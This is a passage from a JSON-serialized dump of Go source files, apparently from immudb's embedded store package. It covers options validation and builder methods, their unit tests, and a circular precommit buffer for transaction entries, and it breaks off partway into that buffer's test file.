{\n\t\treturn fmt.Errorf(\"%w: invalid MaxWaitees\", ErrInvalidOptions)\n\t}\n\n\tif opts.TimeFunc == nil {\n\t\treturn fmt.Errorf(\"%w: invalid TimeFunc\", ErrInvalidOptions)\n\t}\n\n\tif opts.WriteTxHeaderVersion < 0 {\n\t\treturn fmt.Errorf(\"%w: invalid WriteTxHeaderVersion\", ErrInvalidOptions)\n\t}\n\tif opts.WriteTxHeaderVersion > MaxTxHeaderVersion {\n\t\treturn fmt.Errorf(\"%w: invalid WriteTxHeaderVersion\", ErrInvalidOptions)\n\t}\n\n\t// options below are only set during initialization and stored as metadata\n\tif opts.MaxTxEntries <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid MaxTxEntries\", ErrInvalidOptions)\n\t}\n\tif opts.MaxKeyLen <= 0 || opts.MaxKeyLen > MaxKeyLen {\n\t\treturn fmt.Errorf(\"%w: invalid MaxKeyLen\", ErrInvalidOptions)\n\t}\n\tif opts.MaxValueLen <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid MaxValueLen\", ErrInvalidOptions)\n\t}\n\tif opts.FileSize <= 0 || opts.FileSize >= MaxFileSize {\n\t\treturn fmt.Errorf(\"%w: invalid FileSize\", ErrInvalidOptions)\n\t}\n\tif opts.logger == nil {\n\t\treturn fmt.Errorf(\"%w: invalid log\", ErrInvalidOptions)\n\t}\n\n\terr := opts.IndexOpts.Validate()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn opts.AHTOpts.Validate()\n}\n\nfunc (opts *IndexOptions) Validate() error {\n\tif opts == nil {\n\t\treturn fmt.Errorf(\"%w: nil index options \", ErrInvalidOptions)\n\t}\n\tif opts.MaxBufferedDataSize <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid index option MaxBufferedDataSize\", ErrInvalidOptions)\n\t}\n\tif opts.MaxGlobalBufferedDataSize <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid index option MaxGlobalBufferedDataSize\", ErrInvalidOptions)\n\t}\n\tif opts.MaxBufferedDataSize > opts.MaxGlobalBufferedDataSize {\n\t\treturn fmt.Errorf(\"%w: invalid index option MaxBufferedDataSize > MaxGlobalBufferedDataSize\", ErrInvalidOptions)\n\t}\n\tif opts.CacheSize <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid index option CacheSize\", ErrInvalidOptions)\n\t}\n\tif opts.FlushThld <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid index option FlushThld\", ErrInvalidOptions)\n\t}\n\tif opts.SyncThld <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid index option SyncThld\", ErrInvalidOptions)\n\t}\n\tif opts.FlushBufferSize <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid index option FlushBufferSize\", ErrInvalidOptions)\n\t}\n\tif opts.CleanupPercentage < 0 || opts.CleanupPercentage > 100 {\n\t\treturn fmt.Errorf(\"%w: invalid index option CleanupPercentage\", ErrInvalidOptions)\n\t}\n\tif opts.MaxActiveSnapshots <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid index option MaxActiveSnapshots\", ErrInvalidOptions)\n\t}\n\tif opts.MaxNodeSize <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid index option MaxNodeSize\", ErrInvalidOptions)\n\t}\n\tif opts.CompactionThld <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid index option CompactionThld\", ErrInvalidOptions)\n\t}\n\tif opts.DelayDuringCompaction < 0 {\n\t\treturn fmt.Errorf(\"%w: invalid index option DelayDuringCompaction\", ErrInvalidOptions)\n\t}\n\tif opts.RenewSnapRootAfter < 0 {\n\t\treturn fmt.Errorf(\"%w: invalid index option RenewSnapRootAfter\", ErrInvalidOptions)\n\t}\n\tif opts.MaxBulkSize < 1 {\n\t\treturn fmt.Errorf(\"%w: invalid MaxBulkSize\", ErrInvalidOptions)\n\t}\n\tif opts.BulkPreparationTimeout < 0 {\n\t\treturn fmt.Errorf(\"%w: invalid BulkPreparationTimeout\", ErrInvalidOptions)\n\t}\n\tif opts.NodesLogMaxOpenedFiles <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid index option NodesLogMaxOpenedFiles\", ErrInvalidOptions)\n\t}\n\tif opts.HistoryLogMaxOpenedFiles <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid index option HistoryLogMaxOpenedFiles\", ErrInvalidOptions)\n\t}\n\tif opts.CommitLogMaxOpenedFiles <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid index option CommitLogMaxOpenedFiles\", ErrInvalidOptions)\n\t}\n\n\treturn nil\n}\n\nfunc (opts *AHTOptions) Validate() error {\n\tif opts == nil {\n\t\treturn fmt.Errorf(\"%w: nil AHT options \", ErrInvalidOptions)\n\t}\n\tif opts.WriteBufferSize <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid AHT option WriteBufferSize\", ErrInvalidOptions)\n\t}\n\tif opts.SyncThld <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid AHT option SyncThld\", ErrInvalidOptions)\n\t}\n\n\treturn nil\n}\n\nfunc (opts *Options) WithReadOnly(readOnly bool) *Options {\n\topts.ReadOnly = readOnly\n\treturn opts\n}\n\nfunc (opts *Options) WithSynced(synced bool) *Options {\n\topts.Synced = synced\n\treturn opts\n}\n\nfunc (opts *Options) WithWriteBufferSize(writeBufferSize int) *Options {\n\topts.WriteBufferSize = writeBufferSize\n\treturn opts\n}\n\nfunc (opts *Options) WithSyncFrequency(frequency time.Duration) *Options {\n\topts.SyncFrequency = frequency\n\treturn opts\n}\n\nfunc (opts *Options) WithFileMode(fileMode os.FileMode) *Options {\n\topts.FileMode = fileMode\n\treturn opts\n}\n\nfunc (opts *Options) WithLogger(logger logger.Logger) *Options {\n\topts.logger = logger\n\treturn opts\n}\n\nfunc (opts *Options) WithAppFactory(appFactory AppFactoryFunc) *Options {\n\topts.appFactory = appFactory\n\treturn opts\n}\n\nfunc (opts *Options) WithAppRemoveFunc(appRemove AppRemoveFunc) *Options {\n\topts.appRemove = appRemove\n\treturn opts\n}\n\nfunc (opts *Options) WithCompactionDisabled(disabled bool) *Options {\n\topts.CompactionDisabled = disabled\n\treturn opts\n}\n\nfunc (opts *Options) WithMaxActiveTransactions(maxActiveTransactions int) *Options {\n\topts.MaxActiveTransactions = maxActiveTransactions\n\treturn opts\n}\n\nfunc (opts *Options) WithMVCCReadSetLimit(mvccReadSetLimit int) *Options {\n\topts.MVCCReadSetLimit = mvccReadSetLimit\n\treturn opts\n}\n\nfunc (opts *Options) WithMaxConcurrency(maxConcurrency int) *Options {\n\topts.MaxConcurrency = maxConcurrency\n\treturn opts\n}\n\nfunc (opts *Options) WithMaxIOConcurrency(maxIOConcurrency int) *Options {\n\topts.MaxIOConcurrency = maxIOConcurrency\n\treturn opts\n}\n\nfunc (opts *Options) WithMaxTxEntries(maxTxEntries int) *Options {\n\topts.MaxTxEntries = maxTxEntries\n\treturn opts\n}\n\nfunc (opts *Options) WithMaxKeyLen(maxKeyLen int) *Options {\n\topts.MaxKeyLen = maxKeyLen\n\treturn opts\n}\n\nfunc (opts *Options) WithMaxValueLen(maxValueLen int) *Options {\n\topts.MaxValueLen = maxValueLen\n\treturn opts\n}\n\nfunc (opts *Options) WithTxLogCacheSize(txLogCacheSize int) *Options {\n\topts.TxLogCacheSize = txLogCacheSize\n\treturn opts\n}\n\nfunc (opts *Options) WithVLogCacheSize(vLogCacheSize int) *Options {\n\topts.VLogCacheSize = vLogCacheSize\n\treturn opts\n}\n\nfunc (opts *Options) WithFileSize(fileSize int) *Options {\n\topts.FileSize = fileSize\n\treturn opts\n}\n\nfunc (opts *Options) WithVLogMaxOpenedFiles(vLogMaxOpenedFiles int) *Options {\n\topts.VLogMaxOpenedFiles = vLogMaxOpenedFiles\n\treturn opts\n}\n\nfunc (opts *Options) WithTxLogMaxOpenedFiles(txLogMaxOpenedFiles int) *Options {\n\topts.TxLogMaxOpenedFiles = txLogMaxOpenedFiles\n\treturn opts\n}\n\nfunc (opts *Options) WithCommitLogMaxOpenedFiles(commitLogMaxOpenedFiles int) *Options {\n\topts.CommitLogMaxOpenedFiles = commitLogMaxOpenedFiles\n\treturn opts\n}\n\nfunc (opts *Options) WithMaxWaitees(maxWaitees int) *Options {\n\topts.MaxWaitees = maxWaitees\n\treturn opts\n}\n\nfunc (opts *Options) WithTimeFunc(timeFunc TimeFunc) *Options {\n\topts.TimeFunc = timeFunc\n\treturn opts\n}\n\nfunc (opts *Options) WithExternalCommitAllowance(useExternalCommitAllowance bool) *Options {\n\topts.UseExternalCommitAllowance = useExternalCommitAllowance\n\treturn opts\n}\n\nfunc (opts *Options) WithMultiIndexing(multiIndexing bool) *Options {\n\topts.MultiIndexing = multiIndexing\n\treturn opts\n}\n\nfunc (opts *Options) WithWriteTxHeaderVersion(version int) *Options {\n\topts.WriteTxHeaderVersion = version\n\treturn opts\n}\n\nfunc (opts *Options) WithCompressionFormat(compressionFormat int) *Options {\n\topts.CompressionFormat = compressionFormat\n\treturn opts\n}\n\nfunc (opts *Options) WithCompresionLevel(compressionLevel int) *Options {\n\topts.CompressionLevel = compressionLevel\n\treturn opts\n}\n\nfunc (opts *Options) WithEmbeddedValues(embeddedValues bool) *Options {\n\topts.EmbeddedValues = embeddedValues\n\treturn opts\n}\n\nfunc (opts *Options) WithPreallocFiles(preallocFiles bool) *Options {\n\topts.PreallocFiles = preallocFiles\n\treturn opts\n}\n\nfunc (opts *Options) WithIndexOptions(indexOptions *IndexOptions) *Options {\n\topts.IndexOpts = indexOptions\n\treturn opts\n}\n\nfunc (opts *Options) WithAHTOptions(ahtOptions *AHTOptions) *Options {\n\topts.AHTOpts = ahtOptions\n\treturn opts\n}\n\n// IndexOptions\n\nfunc (opts *IndexOptions) WithCacheSize(cacheSize int) *IndexOptions {\n\topts.CacheSize = cacheSize\n\treturn opts\n}\n\nfunc (opts *IndexOptions) WithFlushThld(flushThld int) *IndexOptions {\n\topts.FlushThld = flushThld\n\treturn opts\n}\n\nfunc (opts *IndexOptions) WithSyncThld(syncThld int) *IndexOptions {\n\topts.SyncThld = syncThld\n\treturn opts\n}\n\nfunc (opts *IndexOptions) WithFlushBufferSize(flushBufferSize int) *IndexOptions {\n\topts.FlushBufferSize = flushBufferSize\n\treturn opts\n}\n\nfunc (opts *IndexOptions) WithCleanupPercentage(cleanupPercentage float32) *IndexOptions {\n\topts.CleanupPercentage = cleanupPercentage\n\treturn opts\n}\n\nfunc (opts *IndexOptions) WithMaxActiveSnapshots(maxActiveSnapshots int) *IndexOptions {\n\topts.MaxActiveSnapshots = maxActiveSnapshots\n\treturn opts\n}\n\nfunc (opts *IndexOptions) WithMaxNodeSize(maxNodeSize int) *IndexOptions {\n\topts.MaxNodeSize = maxNodeSize\n\treturn opts\n}\n\nfunc (opts *IndexOptions) WithRenewSnapRootAfter(renewSnapRootAfter time.Duration) *IndexOptions {\n\topts.RenewSnapRootAfter = renewSnapRootAfter\n\treturn opts\n}\n\nfunc (opts *IndexOptions) WithMaxBulkSize(maxBulkSize int) *IndexOptions {\n\topts.MaxBulkSize = maxBulkSize\n\treturn opts\n}\n\nfunc (opts *IndexOptions) WithBulkPreparationTimeout(bulkPreparationTimeout time.Duration) *IndexOptions {\n\topts.BulkPreparationTimeout = bulkPreparationTimeout\n\treturn opts\n}\n\nfunc (opts *IndexOptions) WithCompactionThld(compactionThld int) *IndexOptions {\n\topts.CompactionThld = compactionThld\n\treturn opts\n}\n\nfunc (opts *IndexOptions) WithDelayDuringCompaction(delayDuringCompaction time.Duration) *IndexOptions {\n\topts.DelayDuringCompaction = delayDuringCompaction\n\treturn opts\n}\n\nfunc (opts *IndexOptions) WithNodesLogMaxOpenedFiles(nodesLogMaxOpenedFiles int) *IndexOptions {\n\topts.NodesLogMaxOpenedFiles = nodesLogMaxOpenedFiles\n\treturn opts\n}\n\nfunc (opts *IndexOptions) WithHistoryLogMaxOpenedFiles(historyLogMaxOpenedFiles int) *IndexOptions {\n\topts.HistoryLogMaxOpenedFiles = historyLogMaxOpenedFiles\n\treturn opts\n}\n\nfunc (opts *IndexOptions) WithCommitLogMaxOpenedFiles(commitLogMaxOpenedFiles int) *IndexOptions {\n\topts.CommitLogMaxOpenedFiles = commitLogMaxOpenedFiles\n\treturn opts\n}\n\nfunc (opts *IndexOptions) WithMaxBufferedDataSize(size int) *IndexOptions {\n\topts.MaxBufferedDataSize = size\n\treturn opts\n}\n\nfunc (opts *IndexOptions) WithMaxGlobalBufferedDataSize(size int) *IndexOptions {\n\topts.MaxGlobalBufferedDataSize = size\n\treturn opts\n}\n\n// AHTOptions\n\nfunc (opts *AHTOptions) WithWriteBufferSize(writeBufferSize int) *AHTOptions {\n\topts.WriteBufferSize = writeBufferSize\n\treturn opts\n}\n\nfunc (opts *AHTOptions) WithSyncThld(syncThld int) *AHTOptions {\n\topts.SyncThld = syncThld\n\treturn opts\n}\n"
  },
  {
    "path": "embedded/store/options_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage store\n\nimport (\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/appendable\"\n\t\"github.com/codenotary/immudb/embedded/appendable/multiapp\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestInvalidOptions(t *testing.T) {\n\tfor _, d := range []struct {\n\t\tn    string\n\t\topts *Options\n\t}{\n\t\t{\"nil\", nil},\n\t\t{\"empty\", &Options{}},\n\t\t{\"logger\", DefaultOptions().WithLogger(nil)},\n\t\t{\"MaxConcurrency\", DefaultOptions().WithMaxConcurrency(0)},\n\t\t{\"WriteBufferSize\", DefaultOptions().WithWriteBufferSize(0)},\n\t\t{\"SyncFrequency\", DefaultOptions().WithSyncFrequency(-1)},\n\t\t{\"MaxActiveTransactions\", DefaultOptions().WithMaxActiveTransactions(0)},\n\t\t{\"MVCCReadSetLimit\", DefaultOptions().WithMVCCReadSetLimit(0)},\n\t\t{\"MaxIOConcurrency\", DefaultOptions().WithMaxIOConcurrency(0)},\n\t\t{\"MaxIOConcurrency-max\", DefaultOptions().WithMaxIOConcurrency(MaxParallelIO + 1)},\n\t\t{\"TxLogCacheSize\", DefaultOptions().WithTxLogCacheSize(-1)},\n\t\t{\"VLogCacheSize\", DefaultOptions().WithVLogCacheSize(-1)},\n\t\t{\"VLogMaxOpenedFiles\", DefaultOptions().WithVLogMaxOpenedFiles(0)},\n\t\t{\"TxLogMaxOpenedFiles\", DefaultOptions().WithTxLogMaxOpenedFiles(0)},\n\t\t{\"CommitLogMaxOpenedFiles\", DefaultOptions().WithCommitLogMaxOpenedFiles(0)},\n\t\t{\"WriteTxHeaderVersion\", DefaultOptions().WithWriteTxHeaderVersion(-1)},\n\t\t{\"WriteTxHeaderVersion-max\", DefaultOptions().WithWriteTxHeaderVersion(MaxTxHeaderVersion + 1)},\n\t\t{\"MaxWaitees\", DefaultOptions().WithMaxWaitees(-1)},\n\t\t{\"TimeFunc\", DefaultOptions().WithTimeFunc(nil)},\n\t\t{\"MaxTxEntries\", DefaultOptions().WithMaxTxEntries(0)},\n\t\t{\"MaxKeyLen\", DefaultOptions().WithMaxKeyLen(0)},\n\t\t{\"MaxKeyLen-max\", DefaultOptions().WithMaxKeyLen(MaxKeyLen + 1)},\n\t\t{\"MaxValueLen\", DefaultOptions().WithMaxValueLen(0)},\n\t\t{\"FileSize\", DefaultOptions().WithFileSize(0)},\n\t\t{\"FileSize-max\", DefaultOptions().WithFileSize(MaxFileSize)},\n\t} {\n\t\tt.Run(d.n, func(t *testing.T) {\n\t\t\trequire.ErrorIs(t, d.opts.Validate(), ErrInvalidOptions)\n\t\t})\n\t}\n}\n\nfunc TestInvalidIndexOptions(t *testing.T) {\n\tfor _, d := range []struct {\n\t\tn    string\n\t\topts *IndexOptions\n\t}{\n\t\t{\"nil\", nil},\n\t\t{\"empty\", &IndexOptions{}},\n\t\t{\"CacheSize\", DefaultIndexOptions().WithCacheSize(0)},\n\t\t{\"FlushThld\", DefaultIndexOptions().WithFlushThld(0)},\n\t\t{\"SyncThld\", DefaultIndexOptions().WithSyncThld(0)},\n\t\t{\"FlushBufferSize\", DefaultIndexOptions().WithFlushBufferSize(0)},\n\t\t{\"CleanupPercentage\", DefaultIndexOptions().WithCleanupPercentage(-1)},\n\t\t{\"CleanupPercentage\", DefaultIndexOptions().WithCleanupPercentage(101)},\n\t\t{\"MaxActiveSnapshots\", DefaultIndexOptions().WithMaxActiveSnapshots(0)},\n\t\t{\"MaxNodeSize\", DefaultIndexOptions().WithMaxNodeSize(0)},\n\t\t{\"RenewSnapRootAfter\", DefaultIndexOptions().WithRenewSnapRootAfter(-1)},\n\t\t{\"MaxBulkSize\", DefaultIndexOptions().WithMaxBulkSize(0)},\n\t\t{\"BulkPreparationTimeout\", DefaultIndexOptions().WithBulkPreparationTimeout(-1)},\n\t\t{\"CompactionThld\", DefaultIndexOptions().WithCompactionThld(0)},\n\t\t{\"DelayDuringCompaction\", DefaultIndexOptions().WithDelayDuringCompaction(-1)},\n\t\t{\"NodesLogMaxOpenedFiles\", DefaultIndexOptions().WithNodesLogMaxOpenedFiles(0)},\n\t\t{\"HistoryLogMaxOpenedFiles\", DefaultIndexOptions().WithHistoryLogMaxOpenedFiles(0)},\n\t\t{\"CommitLogMaxOpenedFiles\", DefaultIndexOptions().WithCommitLogMaxOpenedFiles(0)},\n\t\t{\"MaxGlobalBufferedDataSize\", DefaultIndexOptions().WithMaxGlobalBufferedDataSize(0)},\n\t\t{\"MaxGlobalBufferedDataSize\", DefaultIndexOptions().WithMaxGlobalBufferedDataSize(DefaultIndexOptions().MaxBufferedDataSize - 1)},\n\t\t{\"MaxBufferedDataSize\", DefaultIndexOptions().WithMaxBufferedDataSize(0)},\n\t} {\n\t\tt.Run(d.n, func(t *testing.T) {\n\t\t\trequire.ErrorIs(t, d.opts.Validate(), ErrInvalidOptions)\n\t\t})\n\t}\n}\n\nfunc TestInvalidAHTOptions(t *testing.T) {\n\tfor _, d := range []struct {\n\t\tn    string\n\t\topts *AHTOptions\n\t}{\n\t\t{\"nil\", nil},\n\t\t{\"empty\", &AHTOptions{}},\n\t\t{\"WriteBufferSize\", DefaultAHTOptions().WithWriteBufferSize(0)},\n\t\t{\"SyncThld\", DefaultAHTOptions().WithSyncThld(0)},\n\t} {\n\t\tt.Run(d.n, func(t *testing.T) {\n\t\t\trequire.ErrorIs(t, d.opts.Validate(), ErrInvalidOptions)\n\t\t})\n\t}\n}\n\nfunc TestDefaultOptions(t *testing.T) {\n\trequire.NoError(t, DefaultOptions().Validate())\n}\n\nfunc TestValidOptions(t *testing.T) {\n\topts := &Options{}\n\n\trequire.Equal(t, 1, opts.WithCommitLogMaxOpenedFiles(1).CommitLogMaxOpenedFiles)\n\trequire.Equal(t, DefaultCompressionLevel, opts.WithCompresionLevel(DefaultCompressionLevel).CompressionLevel)\n\trequire.Equal(t, DefaultCompressionFormat, opts.WithCompressionFormat(DefaultCompressionFormat).CompressionFormat)\n\trequire.Equal(t, DefaultMaxConcurrency, opts.WithMaxConcurrency(DefaultMaxConcurrency).MaxConcurrency)\n\trequire.Equal(t, 1<<20, opts.WithWriteBufferSize(1<<20).WriteBufferSize)\n\trequire.Equal(t, DefaultFileMode, opts.WithFileMode(DefaultFileMode).FileMode)\n\trequire.Equal(t, DefaultFileSize, opts.WithFileSize(DefaultFileSize).FileSize)\n\trequire.Equal(t, DefaultSyncFrequency, opts.WithSyncFrequency(DefaultSyncFrequency).SyncFrequency)\n\trequire.Equal(t, DefaultMaxActiveTransactions, opts.WithMaxActiveTransactions(DefaultMaxActiveTransactions).MaxActiveTransactions)\n\trequire.Equal(t, DefaultMVCCReadSetLimit, opts.WithMVCCReadSetLimit(DefaultMVCCReadSetLimit).MVCCReadSetLimit)\n\trequire.Equal(t, DefaultMaxIOConcurrency, opts.WithMaxIOConcurrency(DefaultMaxIOConcurrency).MaxIOConcurrency)\n\trequire.Equal(t, DefaultMaxKeyLen, opts.WithMaxKeyLen(DefaultMaxKeyLen).MaxKeyLen)\n\trequire.Equal(t, DefaultMaxTxEntries, opts.WithMaxTxEntries(DefaultMaxTxEntries).MaxTxEntries)\n\trequire.Equal(t, DefaultMaxValueLen, opts.WithMaxValueLen(DefaultMaxValueLen).MaxValueLen)\n\trequire.Equal(t, DefaultTxLogCacheSize, opts.WithTxLogCacheSize(DefaultOptions().TxLogCacheSize).TxLogCacheSize)\n\trequire.Equal(t, DefaultVLogCacheSize, opts.WithVLogCacheSize(DefaultOptions().VLogCacheSize).VLogCacheSize)\n\trequire.Equal(t, 2, opts.WithTxLogMaxOpenedFiles(2).TxLogMaxOpenedFiles)\n\trequire.Equal(t, 3, opts.WithVLogMaxOpenedFiles(3).VLogMaxOpenedFiles)\n\trequire.Equal(t, DefaultMaxWaitees, opts.WithMaxWaitees(DefaultMaxWaitees).MaxWaitees)\n\trequire.Equal(t, DefaultEmbeddedValues, opts.WithEmbeddedValues(DefaultEmbeddedValues).EmbeddedValues)\n\n\ttimeFun := func() time.Time {\n\t\treturn time.Now()\n\t}\n\trequire.NotNil(t, opts.WithTimeFunc(timeFun).TimeFunc)\n\n\trequire.True(t, opts.WithSynced(true).Synced)\n\n\trequire.NotNil(t, opts.WithIndexOptions(DefaultIndexOptions()).IndexOpts)\n\n\trequire.NotNil(t, opts.WithAHTOptions(DefaultAHTOptions()).AHTOpts)\n\n\trequire.False(t, opts.WithReadOnly(false).ReadOnly)\n\n\trequire.NotNil(t, opts.WithLogger(DefaultOptions().logger))\n\n\trequire.NoError(t, opts.Validate())\n\n\trequire.True(t, opts.WithReadOnly(true).ReadOnly)\n\trequire.NoError(t, opts.Validate())\n\n\trequire.Nil(t, opts.WithAppFactory(nil).appFactory)\n\trequire.NoError(t, opts.Validate())\n\n\tappFactoryCalled := false\n\tappFactory := func(rootPath, subPath string, opts *multiapp.Options) (appendable.Appendable, error) {\n\t\tappFactoryCalled = true\n\t\treturn nil, nil\n\t}\n\n\trequire.NotNil(t, opts.WithAppFactory(appFactory).appFactory)\n\trequire.NoError(t, opts.Validate())\n\n\topts.appFactory(\"\", \"\", nil)\n\trequire.True(t, appFactoryCalled)\n\n\trequire.Nil(t, opts.WithIndexOptions(nil).IndexOpts)\n\trequire.ErrorIs(t, opts.Validate(), ErrInvalidOptions)\n\n\tindexOpts := &IndexOptions{}\n\topts.WithIndexOptions(indexOpts)\n\trequire.ErrorIs(t, opts.Validate(), ErrInvalidOptions)\n\n\trequire.Equal(t, 100, indexOpts.WithCacheSize(100).CacheSize)\n\trequire.Equal(t, 1000, indexOpts.WithFlushThld(1000).FlushThld)\n\trequire.Equal(t, 10_000, indexOpts.WithSyncThld(10_000).SyncThld)\n\trequire.Equal(t, 10, indexOpts.WithMaxActiveSnapshots(10).MaxActiveSnapshots)\n\trequire.Equal(t, 4096, indexOpts.WithMaxNodeSize(4096).MaxNodeSize)\n\trequire.Equal(t, time.Duration(1000)*time.Millisecond,\n\t\tindexOpts.WithRenewSnapRootAfter(time.Duration(1000)*time.Millisecond).RenewSnapRootAfter)\n\trequire.Equal(t, 1_000, indexOpts.WithMaxBulkSize(1_000).MaxBulkSize)\n\trequire.Equal(t, time.Duration(500)*time.Millisecond,\n\t\tindexOpts.WithBulkPreparationTimeout(time.Duration(500)*time.Millisecond).BulkPreparationTimeout)\n\trequire.Equal(t, 10, indexOpts.WithNodesLogMaxOpenedFiles(10).NodesLogMaxOpenedFiles)\n\trequire.Equal(t, 11, indexOpts.WithHistoryLogMaxOpenedFiles(11).HistoryLogMaxOpenedFiles)\n\trequire.Equal(t, 12, indexOpts.WithCommitLogMaxOpenedFiles(12).CommitLogMaxOpenedFiles)\n\trequire.Equal(t, 3, indexOpts.WithCompactionThld(3).CompactionThld)\n\trequire.Equal(t, 1*time.Millisecond, indexOpts.WithDelayDuringCompaction(1*time.Millisecond).DelayDuringCompaction)\n\trequire.Equal(t, 4096*2, indexOpts.WithFlushBufferSize(4096*2).FlushBufferSize)\n\trequire.Equal(t, float32(10), indexOpts.WithCleanupPercentage(10).CleanupPercentage)\n\trequire.Equal(t, int(10), indexOpts.WithMaxBufferedDataSize(10).MaxBufferedDataSize)\n\trequire.Equal(t, int(10), indexOpts.WithMaxGlobalBufferedDataSize(10).MaxGlobalBufferedDataSize)\n\n\trequire.Nil(t, opts.WithAHTOptions(nil).AHTOpts)\n\trequire.ErrorIs(t, opts.Validate(), ErrInvalidOptions)\n\n\tahtOpts := &AHTOptions{}\n\topts.WithAHTOptions(ahtOpts)\n\trequire.ErrorIs(t, opts.Validate(), ErrInvalidOptions)\n\n\trequire.Equal(t, 1<<20, ahtOpts.WithWriteBufferSize(1<<20).WriteBufferSize)\n\trequire.Equal(t, 10_000, ahtOpts.WithSyncThld(10_000).SyncThld)\n\n\trequire.NoError(t, opts.Validate())\n}\n"
  },
  {
    "path": "embedded/store/precommit_buffer.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\npackage store\n\nimport (\n\t\"crypto/sha256\"\n\t\"errors\"\n\t\"fmt\"\n\t\"sync\"\n)\n\nvar ErrBufferIsFull = errors.New(\"buffer is full\")\nvar ErrBufferFullyConsumed = errors.New(\"buffer fully consumed\")\nvar ErrNotEnoughData = fmt.Errorf(\"%w: not enough data\", ErrBufferFullyConsumed)\n\ntype precommittedEntry struct {\n\ttxID   uint64\n\talh    [sha256.Size]byte\n\ttxOff  int64\n\ttxSize int\n}\n\n// precommitBuffer is a read-ahead circular buffer\n// this buffer is used to hold a portion of the clog in memory:\n//   - entries put into the buffer as they are precommitted\n//   - entries are removed from the buffer as they are committed (content was successfully written into clog)\ntype precommitBuffer struct {\n\tbuf []*precommittedEntry\n\n\trpos int // buf read position\n\twpos int // buf write position\n\n\tfull bool\n\n\tmux sync.Mutex\n}\n\nfunc newPrecommitBuffer(size int) *precommitBuffer {\n\tb := make([]*precommittedEntry, size)\n\n\tfor i := range b {\n\t\tb[i] = &precommittedEntry{}\n\t}\n\n\treturn &precommitBuffer{\n\t\tbuf: b,\n\t}\n}\n\nfunc (b *precommitBuffer) freeSlots() int {\n\tif b.full {\n\t\treturn 0\n\t}\n\n\tif b.rpos <= b.wpos {\n\t\treturn len(b.buf) - (b.wpos - b.rpos)\n\t}\n\n\treturn b.rpos - b.wpos\n}\n\nfunc (b *precommitBuffer) put(txID uint64, alh [sha256.Size]byte, txOff int64, txSize int) error {\n\tb.mux.Lock()\n\tdefer b.mux.Unlock()\n\n\tif b.full {\n\t\treturn ErrBufferIsFull\n\t}\n\n\tb.wpos = (b.wpos + 1) % len(b.buf)\n\n\te := b.buf[b.wpos]\n\n\te.txID = txID\n\te.alh = alh\n\te.txOff = txOff\n\te.txSize = txSize\n\n\tb.full = b.rpos == b.wpos\n\n\treturn nil\n}\n\nfunc (b *precommitBuffer) recedeWriter(n int) error {\n\tif n <= 0 {\n\t\treturn ErrIllegalArguments\n\t}\n\n\tif len(b.buf)-b.freeSlots() < n {\n\t\treturn ErrNotEnoughData\n\t}\n\n\tb.wpos = (b.wpos + len(b.buf) - n) % len(b.buf)\n\n\tb.full = false\n\n\treturn nil\n}\n\nfunc (b *precommitBuffer) readAhead(n int) (txID uint64, alh [sha256.Size]byte, txOff int64, txSize int, err error) {\n\tb.mux.Lock()\n\tdefer b.mux.Unlock()\n\n\tif n < 0 {\n\t\terr = ErrIllegalArguments\n\t\treturn\n\t}\n\n\tif len(b.buf)-b.freeSlots() <= n {\n\t\terr = ErrNotEnoughData\n\t\treturn\n\t}\n\n\trpos := (b.rpos + n + 1) % len(b.buf)\n\n\te := b.buf[rpos]\n\n\ttxID = e.txID\n\talh = e.alh\n\ttxOff = e.txOff\n\ttxSize = e.txSize\n\n\treturn\n}\n\nfunc (b *precommitBuffer) advanceReader(n int) error {\n\tif n <= 0 {\n\t\treturn ErrIllegalArguments\n\t}\n\n\tif len(b.buf)-b.freeSlots() < n {\n\t\treturn ErrNotEnoughData\n\t}\n\n\tb.rpos = (b.rpos + n) % len(b.buf)\n\tb.full = false\n\n\treturn nil\n}\n"
  },
  {
    "path": "embedded/store/precommit_buffer_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\npackage store\n\nimport (\n\t\"crypto/sha256\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestPrecommitBuffer(t *testing.T) {\n\tsize := 256\n\tb := newPrecommitBuffer(size)\n\n\t_, _, _, _, err := b.readAhead(0)\n\trequire.ErrorIs(t, err, 